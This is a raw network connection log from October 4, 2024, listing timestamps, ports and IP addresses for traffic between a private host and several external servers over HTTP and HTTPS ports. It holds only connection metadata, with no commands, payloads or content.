Oct 4, 2024 09:52:42.853846073 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853848934 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853859901 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853863955 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853878975 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853880882 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853890896 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853898048 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853910923 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853929996 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854228020 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854243040 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854258060 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854264021 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854271889 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854274035 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854286909 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854299068 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854351997 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854367018 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854382038 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854386091 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854397058 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854401112 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854410887 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854429007 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854624987 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854641914 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854657888 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854660034 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854671001 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854674101 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854688883 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854690075 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854703903 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854703903 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854718924 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854722977 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854733944 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854737043 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854747057 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854749918 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.854768038 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.854779005 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855007887 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855031967 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855042934 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855046988 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855062962 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855066061 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855074883 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855077982 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855093002 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855093956 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855108976 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855114937 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855124950 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855134964 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855232000 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855247021 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855268002 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855281115 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855304956 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855321884 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855334044 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855344057 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855350018 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855359077 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855365038 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855370998 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855381966 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855392933 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855392933 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855422020 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855612040 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855627060 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855648994 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855652094 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855659008 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855667114 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855680943 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855686903 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855695963 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855698109 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855710983 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855710983 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855726957 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855731010 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855741024 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.855748892 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855767012 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.855784893 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.940416098 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940525055 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.940720081 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940736055 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940751076 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940758944 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940767050 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940778971 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.940782070 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940797091 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940804005 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.940813065 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940828085 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940836906 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.940843105 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940850973 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.940867901 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940872908 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.940884113 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940897942 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940902948 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.940912962 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.940927029 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.940948963 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941036940 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941051006 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941066980 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941072941 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941082001 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941087008 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941098928 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941103935 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941113949 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941114902 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941126108 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941148996 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941318035 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941354990 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941370964 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941385031 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941406965 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941418886 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941575050 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941612005 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941620111 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941634893 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941653013 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941665888 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941747904 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941762924 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941776991 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941786051 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941792965 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.941798925 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941814899 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.941824913 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.942235947 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.942251921 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.942266941 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.942279100 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.942281961 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.942291975 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.942296028 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.942311049 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.942312002 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.942322016 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.942332029 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.942344904 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:43.599498987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:43.605065107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:43.916866064 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:43.916920900 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:43.916979074 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:43.923402071 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:43.923420906 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:44.389208078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:44.389307976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:44.390268087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:44.395853043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:44.565349102 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:44.565541029 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:44.566931963 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:44.566988945 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:44.567222118 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:44.614331961 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:44.655447960 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:44.946727037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:44.946809053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:44.968441010 CEST	57018	80	192.168.2.4	45.132.206.251
Oct 4, 2024 09:52:44.973433971 CEST	80	57018	45.132.206.251	192.168.2.4
Oct 4, 2024 09:52:44.973680973 CEST	57018	80	192.168.2.4	45.132.206.251
Oct 4, 2024 09:52:44.973681927 CEST	57018	80	192.168.2.4	45.132.206.251
Oct 4, 2024 09:52:44.973681927 CEST	57018	80	192.168.2.4	45.132.206.251
Oct 4, 2024 09:52:44.980182886 CEST	80	57018	45.132.206.251	192.168.2.4
Oct 4, 2024 09:52:44.980621099 CEST	80	57018	45.132.206.251	192.168.2.4
Oct 4, 2024 09:52:44.980634928 CEST	80	57018	45.132.206.251	192.168.2.4
Oct 4, 2024 09:52:44.980645895 CEST	80	57018	45.132.206.251	192.168.2.4
Oct 4, 2024 09:52:44.980657101 CEST	80	57018	45.132.206.251	192.168.2.4
Oct 4, 2024 09:52:44.980753899 CEST	80	57018	45.132.206.251	192.168.2.4
Oct 4, 2024 09:52:45.069103003 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.069122076 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.069152117 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.069170952 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.069197893 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.069302082 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.069303036 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.069303036 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.069303036 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.069303036 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.069377899 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.069456100 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.167582989 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.167599916 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.167781115 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.167879105 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.168227911 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.173358917 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.173439026 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.173554897 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.174865007 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.179832935 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.179832935 CEST	57016	443	192.168.2.4	104.102.49.254
Oct 4, 2024 09:52:45.179904938 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.179939032 CEST	443	57016	104.102.49.254	192.168.2.4
Oct 4, 2024 09:52:45.199155092 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:45.199249029 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:45.199325085 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:45.199589014 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:45.199623108 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:45.682540894 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:45.682629108 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:45.684779882 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:45.684815884 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:45.685038090 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:45.686095953 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:45.686144114 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:45.686172009 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:46.124042034 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:46.124141932 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:46.124222040 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:46.126848936 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:46.126907110 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:46.126949072 CEST	57019	443	192.168.2.4	104.21.93.202
Oct 4, 2024 09:52:46.126966953 CEST	443	57019	104.21.93.202	192.168.2.4
Oct 4, 2024 09:52:53.907967091 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:53.908026934 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:53.908121109 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:53.908575058 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:53.908593893 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.561266899 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.561496019 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.562987089 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.563003063 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.563225985 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.572879076 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.619402885 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.671037912 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.671072006 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.671101093 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.671128035 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.671149015 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.671185017 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.671225071 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.755486012 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.755505085 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.755593061 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.755634069 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.755651951 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.755678892 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.758481026 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.758497953 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.758580923 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.758593082 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.758620024 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.758641005 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.844050884 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.844074965 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.844181061 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.844222069 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.844361067 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.844378948 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.844393969 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.844444036 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.844453096 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.844491959 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.845057011 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.845071077 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.845134974 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.845144033 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.845182896 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.847207069 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.847227097 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.847287893 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:54.847301960 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:54.847347021 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.103024006 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.103037119 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.103090048 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.103122950 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.103143930 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.103168964 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.103188038 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.103262901 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.103281975 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.103326082 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.103334904 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.103375912 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.104273081 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.104288101 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.104337931 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.104346037 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.104379892 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.104387045 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.104398966 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.104417086 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.104444981 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.104454041 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.104471922 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.104485035 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.104878902 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.104924917 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.104960918 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.104986906 CEST	57021	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.105005026 CEST	443	57021	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.137919903 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.137959957 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.138130903 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.139329910 CEST	57023	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.139369965 CEST	443	57023	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.139430046 CEST	57023	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.139581919 CEST	57022	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.139601946 CEST	443	57022	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.140010118 CEST	57023	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.140022039 CEST	443	57023	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.140731096 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.140773058 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.140836954 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.141107082 CEST	57024	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.141128063 CEST	443	57024	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:55.141799927 CEST	57025	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:55.141889095 CEST	443	57025	13.107.246.45	192.168.2.4
